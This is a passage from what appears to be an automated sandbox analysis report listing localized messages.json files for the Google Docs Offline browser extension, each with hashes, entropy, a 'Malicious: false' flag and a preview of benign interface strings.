Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
